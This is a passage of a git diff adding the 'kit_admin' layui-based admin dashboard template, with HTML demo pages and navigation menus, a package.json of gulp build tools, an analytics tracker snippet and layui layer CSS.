<blockquote class="layui-elem-quote">这个文档就先写到这里吧，后面新增了再补充啦。</blockquote>
|
||||
</div>
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,85 @@
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||
<meta http-equiv="X-UA-Compatible" content="ie=edge">
|
||||
<title>Document</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
</head>
|
||||
|
||||
<body style="margin:15px;">
|
||||
<h3>先看着代码哇，文档后面有时间再写(或者，谁愿意帮我写？)..</h3>
|
||||
<pre class="layui-code">
|
||||
//处理顶部一级菜单
|
||||
var onelevel = layui.onelevel;
|
||||
if (onelevel.hasElem()) {
|
||||
onelevel.set({
|
||||
remote: {
|
||||
url: '/datas/onelevel1.json' //远程地址
|
||||
},
|
||||
onClicked: function(id) {
|
||||
switch (id) {
|
||||
case 1:
|
||||
navbar.set({
|
||||
remote:
|
||||
{
|
||||
url:
|
||||
'/datas/navbar1.json'
|
||||
}
|
||||
}).render(function(data) {
|
||||
tab.tabAdd(data);
|
||||
});
|
||||
break;
|
||||
case 2:
|
||||
navbar.set({
|
||||
remote:
|
||||
{
|
||||
url:
|
||||
'/datas/navbar2.json'
|
||||
}
|
||||
}).render(function(data) {
|
||||
tab.tabAdd(data);
|
||||
});
|
||||
break;
|
||||
default:
|
||||
navbar.set({
|
||||
data:
|
||||
[{
|
||||
id:
|
||||
"1",
|
||||
title: "基本元素",
|
||||
icon: "fa-cubes",
|
||||
spread: true,
|
||||
children: [{
|
||||
id: "7",
|
||||
title: "表格",
|
||||
icon: "",
|
||||
url: "test.html"
|
||||
},
|
||||
{
|
||||
id: "8",
|
||||
title: "表单",
|
||||
icon: "",
|
||||
url: "form.html"
|
||||
}]
|
||||
},
|
||||
{
|
||||
id: "5",
|
||||
title: "这是一级导航",
|
||||
icon: "fa-stop-circle",
|
||||
url: "https://www.baidu.com",
|
||||
spread: false
|
||||
}]
|
||||
}).render(function(data) {
|
||||
tab.tabAdd(data);
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}).render();
|
||||
}</pre>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Generated
+5
@@ -0,0 +1,5 @@
|
||||
{
|
||||
"name": "kit_admin",
|
||||
"version": "1.0.6",
|
||||
"lockfileVersion": 1
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
{
|
||||
"name": "kit_admin",
|
||||
"version": "1.1.1",
|
||||
"description": "基于layui 2.x",
|
||||
"main": "index.js",
|
||||
"scripts": {
|
||||
"test": "echo \"Error: no test specified\" && exit 1"
|
||||
},
|
||||
"repository": {
|
||||
"type": "git",
|
||||
"url": "https://git.oschina.net/besteasyteam/kit_admin.git"
|
||||
},
|
||||
"homepage": "http://kit/zhengjinfan.cn",
|
||||
"author": "Van",
|
||||
"email": "zheng_jinfan@126.com",
|
||||
"license": "MIT",
|
||||
"dependencies": {},
|
||||
"devDependencies": {
|
||||
"del": "^3.0.0",
|
||||
"gulp": "^3.9.1",
|
||||
"gulp-concat": "^2.6.1",
|
||||
"gulp-header": "^1.8.9",
|
||||
"gulp-if": "^2.0.2",
|
||||
"gulp-livereload": "^3.8.1",
|
||||
"gulp-minify-css": "^1.2.4",
|
||||
"gulp-rename": "^1.2.2",
|
||||
"gulp-uglify": "^3.0.0",
|
||||
"gulp-webserver": "^0.9.1",
|
||||
"gulp-zip": "^4.0.0",
|
||||
"minimist": "^1.2.0",
|
||||
"pump": "^1.0.2"
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,124 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
|
||||
<title>KIT ADMIN</title>
|
||||
<link rel="stylesheet" href="./plugins/layui/css/layui.css" media="all">
|
||||
<link rel="stylesheet" href="./plugins/font-awesome/css/font-awesome.min.css" media="all">
|
||||
<link rel="stylesheet" href="./build/css/app.css" media="all">
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="layui-layout layui-layout-admin kit-layout-admin">
|
||||
<div class="layui-header">
|
||||
<div class="layui-logo">KIT ADMIN</div>
|
||||
<div class="layui-logo kit-logo-mobile">K</div>
|
||||
<ul class="layui-nav layui-layout-left kit-nav">
|
||||
<li class="layui-nav-item"><a href="javascript:;">控制台</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;">商品管理</a></li>
|
||||
<li class="layui-nav-item"><a href="javascript:;" id="pay"><i class="fa fa-gratipay" aria-hidden="true"></i> 捐赠我</a></li>
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">其它系统</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;">邮件管理</a></dd>
|
||||
<dd><a href="javascript:;">消息管理</a></dd>
|
||||
<dd><a href="javascript:;">授权管理</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
<ul class="layui-nav layui-layout-right kit-nav">
|
||||
<li class="layui-nav-item">
|
||||
<a href="javascript:;">
|
||||
<img src="http://m.zhengjinfan.cn/images/0.jpg" class="layui-nav-img"> Van
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'basic.html',icon:'',title:'基本资料',id:'966'}"><span>基本资料</span></a></dd>
|
||||
<dd><a href="javascript:;">安全设置</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item"><a href="javascript:;"><i class="fa fa-sign-out" aria-hidden="true"></i> 注销</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<div class="layui-side layui-bg-black kit-side">
|
||||
<div class="layui-side-scroll">
|
||||
<div class="kit-side-fold"><i class="fa fa-navicon" aria-hidden="true"></i></div>
|
||||
<!-- 左侧导航区域（可配合layui已有的垂直导航） -->
|
||||
<ul class="layui-nav layui-nav-tree" lay-filter="kitNavbar" kit-navbar>
|
||||
<li class="layui-nav-item">
|
||||
<a class="" href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 基本元素</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'test.html',icon:'',title:'表格',id:'1'}">
|
||||
<i class="layui-icon"></i><span> 表格</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="form.html" data-icon="fa-user" data-title="表单" kit-target data-id='2'><i class="fa fa-user" aria-hidden="true"></i><span> 表单</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="nav.html" data-icon="" data-title="导航栏" kit-target data-id='3'><i class="layui-icon"></i><span> 导航栏</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" data-url="list4.html" data-icon="" data-title="列表四" kit-target data-id='4'><i class="layui-icon"></i><span> 列表四</span></a>
|
||||
</dd>
|
||||
<dd>
|
||||
<a href="javascript:;" kit-target data-options="{url:'https://www.baidu.com',icon:'',title:'百度一下',id:'5'}"><i class="layui-icon"></i><span> 百度一下</span></a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
<li class="layui-nav-item layui-nav-itemed">
|
||||
<a href="javascript:;"><i class="fa fa-plug" aria-hidden="true"></i><span> 组件</span></a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'navbar.html',icon:'',title:'Navbar',id:'6'}"><i class="layui-icon"></i><span> Navbar</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'tab.html',icon:'',title:'TAB',id:'7'}"><i class="layui-icon"></i><span> Tab</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'onelevel.html',icon:'',title:'OneLevel',id:'50'}"><i class="layui-icon"></i><span> OneLevel</span></a></dd>
|
||||
<dd><a href="javascript:;" kit-target data-options="{url:'app.html',icon:'',title:'App',id:'8'}"><i class="layui-icon"></i><span> app.js主入口</span></a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-body" id="container">
|
||||
<!-- 内容主体区域 -->
|
||||
<div style="padding: 15px;"><i class="layui-icon layui-anim layui-anim-rotate layui-anim-loop"></i> 请稍等...</div>
|
||||
</div>
|
||||
|
||||
<div class="layui-footer">
|
||||
<!-- 底部固定区域 -->
|
||||
2017 ©
|
||||
<a href="http://kit.zhengjinfan.cn/">kit.zhengjinfan.cn/</a> MIT license
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script type="text/javascript">
|
||||
var cnzz_protocol = (("https:" == document.location.protocol) ? " https://" : " http://");
|
||||
document.write(unescape("%3Cspan id='cnzz_stat_icon_1264021086'%3E%3C/span%3E%3Cscript src='" + cnzz_protocol + "s22.cnzz.com/z_stat.php%3Fid%3D1264021086%26show%3Dpic1' type='text/javascript'%3E%3C/script%3E"));
|
||||
</script>
|
||||
<script src="./plugins/layui/layui.js"></script>
|
||||
<script>
|
||||
layui.config({
|
||||
base: 'build/js/'
|
||||
}).use(['app', 'message'], function() {
|
||||
var app = layui.app,
|
||||
$ = layui.jquery,
|
||||
layer = layui.layer;
|
||||
//主入口
|
||||
app.set({
|
||||
type: 'page'
|
||||
}).init();
|
||||
$('#pay').on('click', function() {
|
||||
layer.open({
|
||||
title: false,
|
||||
type: 1,
|
||||
content: '<img src="/build/images/pay.png" />',
|
||||
area: ['500px', '250px'],
|
||||
shadeClose: true
|
||||
});
|
||||
});
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Vendored
+45
File diff suppressed because one or more lines are too long
+2337
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
|
After Width: | Height: | Size: 437 KiB |
Binary file not shown.
Binary file not shown.
Binary file not shown.
File diff suppressed because it is too large
Load Diff
File diff suppressed because one or more lines are too long
@@ -0,0 +1,2 @@
|
||||
/** layui-v2.4.5 MIT License By https://www.layui.com */
|
||||
html #layuicss-skincodecss{display:none;position:absolute;width:1989px}.layui-code-h3,.layui-code-view{position:relative;font-size:12px}.layui-code-view{display:block;margin:10px 0;padding:0;border:1px solid #e2e2e2;border-left-width:6px;background-color:#F2F2F2;color:#333;font-family:Courier New}.layui-code-h3{padding:0 10px;height:32px;line-height:32px;border-bottom:1px solid #e2e2e2}.layui-code-h3 a{position:absolute;right:10px;top:0;color:#999}.layui-code-view .layui-code-ol{position:relative;overflow:auto}.layui-code-view .layui-code-ol li{position:relative;margin-left:45px;line-height:20px;padding:0 5px;border-left:1px solid #e2e2e2;list-style-type:decimal-leading-zero;*list-style-type:decimal;background-color:#fff}.layui-code-view pre{margin:0}.layui-code-notepad{border:1px solid #0C0C0C;border-left-color:#3F3F3F;background-color:#0C0C0C;color:#C2BE9E}.layui-code-notepad .layui-code-h3{border-bottom:none}.layui-code-notepad .layui-code-ol li{background-color:#3F3F3F;border-left:none}
|
||||
File diff suppressed because one or more lines are too long
Binary file not shown.
|
After Width: | Height: | Size: 5.8 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 11 KiB |
@@ -0,0 +1,970 @@
|
||||
/** layui-v2.4.5 MIT License By https://www.layui.com */
|
||||
.layui-layer-imgbar,
|
||||
.layui-layer-imgtit a,
|
||||
.layui-layer-tab .layui-layer-title span,
|
||||
.layui-layer-title {
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap
|
||||
}
|
||||
|
||||
html #layuicss-layer {
|
||||
display: none;
|
||||
position: absolute;
|
||||
width: 1989px
|
||||
}
|
||||
|
||||
.layui-layer,
|
||||
.layui-layer-shade {
|
||||
position: fixed;
|
||||
_position: absolute;
|
||||
pointer-events: auto
|
||||
}
|
||||
|
||||
.layui-layer-shade {
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
_height: expression(document.body.offsetHeight+"px")
|
||||
}
|
||||
|
||||
.layui-layer {
|
||||
-webkit-overflow-scrolling: touch;
|
||||
top: 150px;
|
||||
left: 0;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
background-color: #fff;
|
||||
-webkit-background-clip: content;
|
||||
border-radius: 12px;
|
||||
overflow: hidden;
|
||||
box-shadow: 1px 1px 50px rgba(0, 0, 0, .3)
|
||||
}
|
||||
|
||||
.layui-layer-close {
|
||||
position: absolute
|
||||
}
|
||||
|
||||
.layui-layer-content {
|
||||
position: relative
|
||||
}
|
||||
|
||||
.layui-layer-border {
|
||||
border: 1px solid #B2B2B2;
|
||||
border: 1px solid rgba(0, 0, 0, .1);
|
||||
box-shadow: 1px 1px 5px rgba(0, 0, 0, .2)
|
||||
}
|
||||
|
||||
.layui-layer-load {
|
||||
background: url(loading-1.gif) center center no-repeat #eee
|
||||
}
|
||||
|
||||
.layui-layer-ico {
|
||||
background: url(icon.png) no-repeat
|
||||
}
|
||||
|
||||
.layui-layer-btn a,
|
||||
.layui-layer-dialog .layui-layer-ico,
|
||||
.layui-layer-setwin a {
|
||||
display: inline-block;
|
||||
*display: inline;
|
||||
*zoom: 1;
|
||||
vertical-align: top
|
||||
}
|
||||
|
||||
.layui-layer-move {
|
||||
display: none;
|
||||
position: fixed;
|
||||
*position: absolute;
|
||||
left: 0;
|
||||
top: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
cursor: move;
|
||||
opacity: 0;
|
||||
filter: alpha(opacity=0);
|
||||
background-color: #fff;
|
||||
z-index: 2147483647
|
||||
}
|
||||
|
||||
.layui-layer-resize {
|
||||
position: absolute;
|
||||
width: 15px;
|
||||
height: 15px;
|
||||
right: 0;
|
||||
bottom: 0;
|
||||
cursor: se-resize
|
||||
}
|
||||
|
||||
.layer-anim {
|
||||
-webkit-animation-fill-mode: both;
|
||||
animation-fill-mode: both;
|
||||
-webkit-animation-duration: .3s;
|
||||
animation-duration: .3s
|
||||
}
|
||||
|
||||
@-webkit-keyframes layer-bounceIn {
|
||||
0% {
|
||||
opacity: 0;
|
||||
-webkit-transform: scale(.5);
|
||||
transform: scale(.5)
|
||||
}
|
||||
|
||||
100% {
|
||||
opacity: 1;
|
||||
-webkit-transform: scale(1);
|
||||
transform: scale(1)
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes layer-bounceIn {
|
||||
0% {
|
||||
opacity: 0;
|
||||
-webkit-transform: scale(.5);
|
||||
-ms-transform: scale(.5);
|
||||
transform: scale(.5)
|
||||
}
|
||||
|
||||
100% {
|
||||
opacity: 1;
|
||||
-webkit-transform: scale(1);
|
||||
-ms-transform: scale(1);
|
||||
transform: scale(1)
|
||||
}
|
||||
}
|
||||
|
||||
.layer-anim-00 {
|
||||
-webkit-animation-name: layer-bounceIn;
|
||||
animation-name: layer-bounceIn
|
||||
}
|
||||
|
||||
@-webkit-keyframes layer-zoomInDown {
|
||||
0% {
|
||||
opacity: 0;
|
||||
-webkit-transform: scale(.1) translateY(-2000px);
|
||||
transform: scale(.1) translateY(-2000px);
|
||||
-webkit-animation-timing-function: ease-in-out;
|
||||
animation-timing-function: ease-in-out
|
||||
}
|
||||
|
||||
60% {
|
||||
opacity: 1;
|
||||
-webkit-transform: scale(.475) translateY(60px);
|
||||
transform: scale(.475) translateY(60px);
|
||||
-webkit-animation-timing-function: ease-out;
|
||||
animation-timing-function: ease-out
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes layer-zoomInDown {
|
||||
0% {
|
||||
opacity: 0;
|
||||
-webkit-transform: scale(.1) translateY(-2000px);
|
||||
-ms-transform: scale(.1) translateY(-2000px);
|
||||
transform: scale(.1) translateY(-2000px);
|
||||
-webkit-animation-timing-function: ease-in-out;
|
||||
animation-timing-function: ease-in-out
|
||||
}
|
||||
|
||||
60% {
|
||||
opacity: 1;
|
||||
-webkit-transform: scale(.475) translateY(60px);
|
||||
-ms-transform: scale(.475) translateY(60px);
|
||||
transform: scale(.475) translateY(60px);
|
||||
-webkit-animation-timing-function: ease-out;
|
||||
animation-timing-function: ease-out
|
||||
}
|
||||
}
|
||||
|
||||
.layer-anim-01 {
|
||||
-webkit-animation-name: layer-zoomInDown;
|
||||
animation-name: layer-zoomInDown
|
||||
}
|
||||
|
||||
@-webkit-keyframes layer-fadeInUpBig {
|
||||
0% {
|
||||
opacity: 0;
|
||||
-webkit-transform: translateY(2000px);
|
||||
transform: translateY(2000px)
|
||||
}
|
||||
|
||||
100% {
|
||||
opacity: 1;
|
||||
-webkit-transform: translateY(0);
|
||||
transform: translateY(0)
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes layer-fadeInUpBig {
|
||||
0% {
|
||||
opacity: 0;
|
||||
-webkit-transform: translateY(2000px);
|
||||
-ms-transform: translateY(2000px);
|
||||
transform: translateY(2000px)
|
||||
}
|
||||
|
||||
100% {
|
||||
opacity: 1;
|
||||
-webkit-transform: translateY(0);
|
||||
-ms-transform: translateY(0);
|
||||
transform: translateY(0)
|
||||
}
|
||||
}
|
||||
|
||||
.layer-anim-02 {
|
||||
-webkit-animation-name: layer-fadeInUpBig;
|
||||
animation-name: layer-fadeInUpBig
|
||||
}
|
||||
|
||||
@-webkit-keyframes layer-zoomInLeft {
|
||||
0% {
|
||||
opacity: 0;
|
||||
-webkit-transform: scale(.1) translateX(-2000px);
|
||||
transform: scale(.1) translateX(-2000px);
|
||||
-webkit-animation-timing-function: ease-in-out;
|
||||
animation-timing-function: ease-in-out
|
||||
}
|
||||
|
||||
60% {
|
||||
opacity: 1;
|
||||
-webkit-transform: scale(.475) translateX(48px);
|
||||
transform: scale(.475) translateX(48px);
|
||||
-webkit-animation-timing-function: ease-out;
|
||||
animation-timing-function: ease-out
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes layer-zoomInLeft {
|
||||
0% {
|
||||
opacity: 0;
|
||||
-webkit-transform: scale(.1) translateX(-2000px);
|
||||
-ms-transform: scale(.1) translateX(-2000px);
|
||||
transform: scale(.1) translateX(-2000px);
|
||||
-webkit-animation-timing-function: ease-in-out;
|
||||
animation-timing-function: ease-in-out
|
||||
}
|
||||
|
||||
60% {
|
||||
opacity: 1;
|
||||
-webkit-transform: scale(.475) translateX(48px);
|
||||
-ms-transform: scale(.475) translateX(48px);
|
||||
transform: scale(.475) translateX(48px);
|
||||
-webkit-animation-timing-function: ease-out;
|
||||
animation-timing-function: ease-out
|
||||
}
|
||||
}
|
||||
|
||||
.layer-anim-03 {
|
||||
-webkit-animation-name: layer-zoomInLeft;
|
||||
animation-name: layer-zoomInLeft
|
||||
}
|
||||
|
||||
@-webkit-keyframes layer-rollIn {
|
||||
0% {
|
||||
opacity: 0;
|
||||
-webkit-transform: translateX(-100%) rotate(-120deg);
|
||||
transform: translateX(-100%) rotate(-120deg)
|
||||
}
|
||||
|
||||
100% {
|
||||
opacity: 1;
|
||||
-webkit-transform: translateX(0) rotate(0);
|
||||
transform: translateX(0) rotate(0)
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes layer-rollIn {
|
||||
0% {
|
||||
opacity: 0;
|
||||
-webkit-transform: translateX(-100%) rotate(-120deg);
|
||||
-ms-transform: translateX(-100%) rotate(-120deg);
|
||||
transform: translateX(-100%) rotate(-120deg)
|
||||
}
|
||||
|
||||
100% {
|
||||
opacity: 1;
|
||||
-webkit-transform: translateX(0) rotate(0);
|
||||
-ms-transform: translateX(0) rotate(0);
|
||||
transform: translateX(0) rotate(0)
|
||||
}
|
||||
}
|
||||
|
||||
.layer-anim-04 {
|
||||
-webkit-animation-name: layer-rollIn;
|
||||
animation-name: layer-rollIn
|
||||
}
|
||||
|
||||
@keyframes layer-fadeIn {
|
||||
0% {
|
||||
opacity: 0
|
||||
}
|
||||
|
||||
100% {
|
||||
opacity: 1
|
||||
}
|
||||
}
|
||||
|
||||
.layer-anim-05 {
|
||||
-webkit-animation-name: layer-fadeIn;
|
||||
animation-name: layer-fadeIn
|
||||
}
|
||||
|
||||
@-webkit-keyframes layer-shake {
|
||||
|
||||
0%,
|
||||
100% {
|
||||
-webkit-transform: translateX(0);
|
||||
transform: translateX(0)
|
||||
}
|
||||
|
||||
10%,
|
||||
30%,
|
||||
50%,
|
||||
70%,
|
||||
90% {
|
||||
-webkit-transform: translateX(-10px);
|
||||
transform: translateX(-10px)
|
||||
}
|
||||
|
||||
20%,
|
||||
40%,
|
||||
60%,
|
||||
80% {
|
||||
-webkit-transform: translateX(10px);
|
||||
transform: translateX(10px)
|
||||
}
|
||||
}
|
||||
|
||||
@keyframes layer-shake {
|
||||
|
||||
0%,
|
||||
100% {
|
||||
-webkit-transform: translateX(0);
|
||||
-ms-transform: translateX(0);
|
||||
transform: translateX(0)
|
||||
}
|
||||
|
||||
10%,
|
||||
30%,
|
||||
50%,
|
||||
70%,
|
||||
90% {
|
||||
-webkit-transform: translateX(-10px);
|
||||
-ms-transform: translateX(-10px);
|
||||
transform: translateX(-10px)
|
||||
}
|
||||
|
||||
20%,
|
||||
40%,
|
||||
60%,
|
||||
80% {
|
||||
-webkit-transform: translateX(10px);
|
||||
-ms-transform: translateX(10px);
|
||||
transform: translateX(10px)
|
||||
}
|
||||
}
|
||||
|
||||
.layer-anim-06 {
|
||||
-webkit-animation-name: layer-shake;
|
||||
animation-name: layer-shake
|
||||
}
|
||||
|
||||
@-webkit-keyframes fadeIn {
|
||||
0% {
|
||||
opacity: 0
|
||||
}
|
||||
|
||||
100% {
|
||||
opacity: 1
|
||||
}
|
||||
}
|
||||
|
||||
.layui-layer-title {
|
||||
padding: 0 80px 0 20px;
|
||||
height: 42px;
|
||||
line-height: 42px;
|
||||
border-bottom: 1px solid #eee;
|
||||
font-size: 14px;
|
||||
color: #333;
|
||||
overflow: hidden;
|
||||
background-color: #F8F8F8;
|
||||
border-radius: 2px 2px 0 0
|
||||
}
|
||||
|
||||
.layui-layer-setwin {
|
||||
position: absolute;
|
||||
right: 15px;
|
||||
*right: 0;
|
||||
top: 15px;
|
||||
font-size: 0;
|
||||
line-height: initial
|
||||
}
|
||||
|
||||
.layui-layer-setwin a {
|
||||
position: relative;
|
||||
width: 16px;
|
||||
height: 16px;
|
||||
margin-left: 10px;
|
||||
font-size: 12px;
|
||||
_overflow: hidden
|
||||
}
|
||||
|
||||
.layui-layer-setwin .layui-layer-min cite {
|
||||
position: absolute;
|
||||
width: 14px;
|
||||
height: 2px;
|
||||
left: 0;
|
||||
top: 50%;
|
||||
margin-top: -1px;
|
||||
background-color: #2E2D3C;
|
||||
cursor: pointer;
|
||||
_overflow: hidden
|
||||
}
|
||||
|
||||
.layui-layer-setwin .layui-layer-min:hover cite {
|
||||
background-color: #2D93CA
|
||||
}
|
||||
|
||||
.layui-layer-setwin .layui-layer-max {
|
||||
background-position: -32px -40px
|
||||
}
|
||||
|
||||
.layui-layer-setwin .layui-layer-max:hover {
|
||||
background-position: -16px -40px
|
||||
}
|
||||
|
||||
.layui-layer-setwin .layui-layer-maxmin {
|
||||
background-position: -65px -40px
|
||||
}
|
||||
|
||||
.layui-layer-setwin .layui-layer-maxmin:hover {
|
||||
background-position: -49px -40px
|
||||
}
|
||||
|
||||
.layui-layer-setwin .layui-layer-close1 {
|
||||
background-position: 1px -40px;
|
||||
cursor: pointer
|
||||
}
|
||||
|
||||
.layui-layer-setwin .layui-layer-close1:hover {
|
||||
opacity: .7
|
||||
}
|
||||
|
||||
.layui-layer-setwin .layui-layer-close2 {
|
||||
position: absolute;
|
||||
right: -28px;
|
||||
top: -28px;
|
||||
width: 30px;
|
||||
height: 30px;
|
||||
margin-left: 0;
|
||||
background-position: -149px -31px;
|
||||
*right: -18px;
|
||||
_display: none
|
||||
}
|
||||
|
||||
.layui-layer-setwin .layui-layer-close2:hover {
|
||||
background-position: -180px -31px
|
||||
}
|
||||
|
||||
.layui-layer-btn {
|
||||
text-align: right;
|
||||
padding: 0 15px 12px;
|
||||
pointer-events: auto;
|
||||
user-select: none;
|
||||
-webkit-user-select: none
|
||||
}
|
||||
|
||||
.layui-layer-btn a {
|
||||
height: 28px;
|
||||
line-height: 28px;
|
||||
margin: 5px 5px 0;
|
||||
padding: 0 15px;
|
||||
border: 1px solid #dedede;
|
||||
background-color: #fff;
|
||||
color: #333;
|
||||
border-radius: 2px;
|
||||
font-weight: 400;
|
||||
cursor: pointer;
|
||||
text-decoration: none
|
||||
}
|
||||
|
||||
.layui-layer-btn a:hover {
|
||||
opacity: .9;
|
||||
text-decoration: none
|
||||
}
|
||||
|
||||
.layui-layer-btn a:active {
|
||||
opacity: .8
|
||||
}
|
||||
|
||||
.layui-layer-btn .layui-layer-btn0 {
|
||||
border-color: #1E9FFF;
|
||||
background-color: #1E9FFF;
|
||||
color: #fff
|
||||
}
|
||||
|
||||
.layui-layer-btn-l {
|
||||
text-align: left
|
||||
}
|
||||
|
||||
.layui-layer-btn-c {
|
||||
text-align: center
|
||||
}
|
||||
|
||||
.layui-layer-dialog {
|
||||
min-width: 260px
|
||||
}
|
||||
|
||||
.layui-layer-dialog .layui-layer-content {
|
||||
position: relative;
|
||||
padding: 20px;
|
||||
line-height: 24px;
|
||||
word-break: break-all;
|
||||
overflow: hidden;
|
||||
font-size: 14px;
|
||||
overflow-x: hidden;
|
||||
overflow-y: auto
|
||||
}
|
||||
|
||||
.layui-layer-dialog .layui-layer-content .layui-layer-ico {
|
||||
position: absolute;
|
||||
top: 16px;
|
||||
left: 15px;
|
||||
_left: -40px;
|
||||
width: 30px;
|
||||
height: 30px
|
||||
}
|
||||
|
||||
.layui-layer-ico1 {
|
||||
background-position: -30px 0
|
||||
}
|
||||
|
||||
.layui-layer-ico2 {
|
||||
background-position: -60px 0
|
||||
}
|
||||
|
||||
.layui-layer-ico3 {
|
||||
background-position: -90px 0
|
||||
}
|
||||
|
||||
.layui-layer-ico4 {
|
||||
background-position: -120px 0
|
||||
}
|
||||
|
||||
.layui-layer-ico5 {
|
||||
background-position: -150px 0
|
||||
}
|
||||
|
||||
.layui-layer-ico6 {
|
||||
background-position: -180px 0
|
||||
}
|
||||
|
||||
.layui-layer-rim {
|
||||
border: 6px solid #8D8D8D;
|
||||
border: 6px solid rgba(0, 0, 0, .3);
|
||||
border-radius: 5px;
|
||||
box-shadow: none
|
||||
}
|
||||
|
||||
.layui-layer-msg {
|
||||
min-width: 180px;
|
||||
border: 1px solid #D3D4D3;
|
||||
box-shadow: none
|
||||
}
|
||||
|
||||
.layui-layer-hui {
|
||||
min-width: 100px;
|
||||
background-color: #000;
|
||||
filter: alpha(opacity=60);
|
||||
background-color: rgba(0, 0, 0, .6);
|
||||
color: #fff;
|
||||
border: none
|
||||
}
|
||||
|
||||
.layui-layer-hui .layui-layer-content {
|
||||
padding: 12px 25px;
|
||||
text-align: center
|
||||
}
|
||||
|
||||
.layui-layer-dialog .layui-layer-padding {
|
||||
padding: 20px 20px 20px 55px;
|
||||
text-align: left
|
||||
}
|
||||
|
||||
.layui-layer-page .layui-layer-content {
|
||||
position: relative;
|
||||
overflow: auto
|
||||
}
|
||||
|
||||
.layui-layer-iframe .layui-layer-btn,
|
||||
.layui-layer-page .layui-layer-btn {
|
||||
padding-top: 10px
|
||||
}
|
||||
|
||||
.layui-layer-nobg {
|
||||
background: 0 0
|
||||
}
|
||||
|
||||
.layui-layer-iframe iframe {
|
||||
display: block;
|
||||
width: 100%
|
||||
}
|
||||
|
||||
.layui-layer-loading {
|
||||
border-radius: 100%;
|
||||
background: 0 0;
|
||||
box-shadow: none;
|
||||
border: none
|
||||
}
|
||||
|
||||
.layui-layer-loading .layui-layer-content {
|
||||
width: 60px;
|
||||
height: 24px;
|
||||
background: url(loading-0.gif) no-repeat
|
||||
}
|
||||
|
||||
.layui-layer-loading .layui-layer-loading1 {
|
||||
width: 37px;
|
||||
height: 37px;
|
||||
background: url(loading-1.gif) no-repeat
|
||||
}
|
||||
|
||||
.layui-layer-ico16,
|
||||
.layui-layer-loading .layui-layer-loading2 {
|
||||
width: 32px;
|
||||
height: 32px;
|
||||
background: url(loading-2.gif) no-repeat
|
||||
}
|
||||
|
||||
.layui-layer-tips {
|
||||
background: 0 0;
|
||||
box-shadow: none;
|
||||
border: none
|
||||
}
|
||||
|
||||
.layui-layer-tips .layui-layer-content {
|
||||
position: relative;
|
||||
line-height: 22px;
|
||||
min-width: 12px;
|
||||
padding: 8px 15px;
|
||||
font-size: 12px;
|
||||
_float: left;
|
||||
border-radius: 2px;
|
||||
box-shadow: 1px 1px 3px rgba(0, 0, 0, .2);
|
||||
background-color: #000;
|
||||
color: #fff
|
||||
}
|
||||
|
||||
.layui-layer-tips .layui-layer-close {
|
||||
right: -2px;
|
||||
top: -1px
|
||||
}
|
||||
|
||||
.layui-layer-tips i.layui-layer-TipsG {
|
||||
position: absolute;
|
||||
width: 0;
|
||||
height: 0;
|
||||
border-width: 8px;
|
||||
border-color: transparent;
|
||||
border-style: dashed;
|
||||
*overflow: hidden
|
||||
}
|
||||
|
||||
.layui-layer-tips i.layui-layer-TipsB,
|
||||
.layui-layer-tips i.layui-layer-TipsT {
|
||||
left: 5px;
|
||||
border-right-style: solid;
|
||||
border-right-color: #000
|
||||
}
|
||||
|
||||
.layui-layer-tips i.layui-layer-TipsT {
|
||||
bottom: -8px
|
||||
}
|
||||
|
||||
.layui-layer-tips i.layui-layer-TipsB {
|
||||
top: -8px
|
||||
}
|
||||
|
||||
.layui-layer-tips i.layui-layer-TipsL,
|
||||
.layui-layer-tips i.layui-layer-TipsR {
|
||||
top: 5px;
|
||||
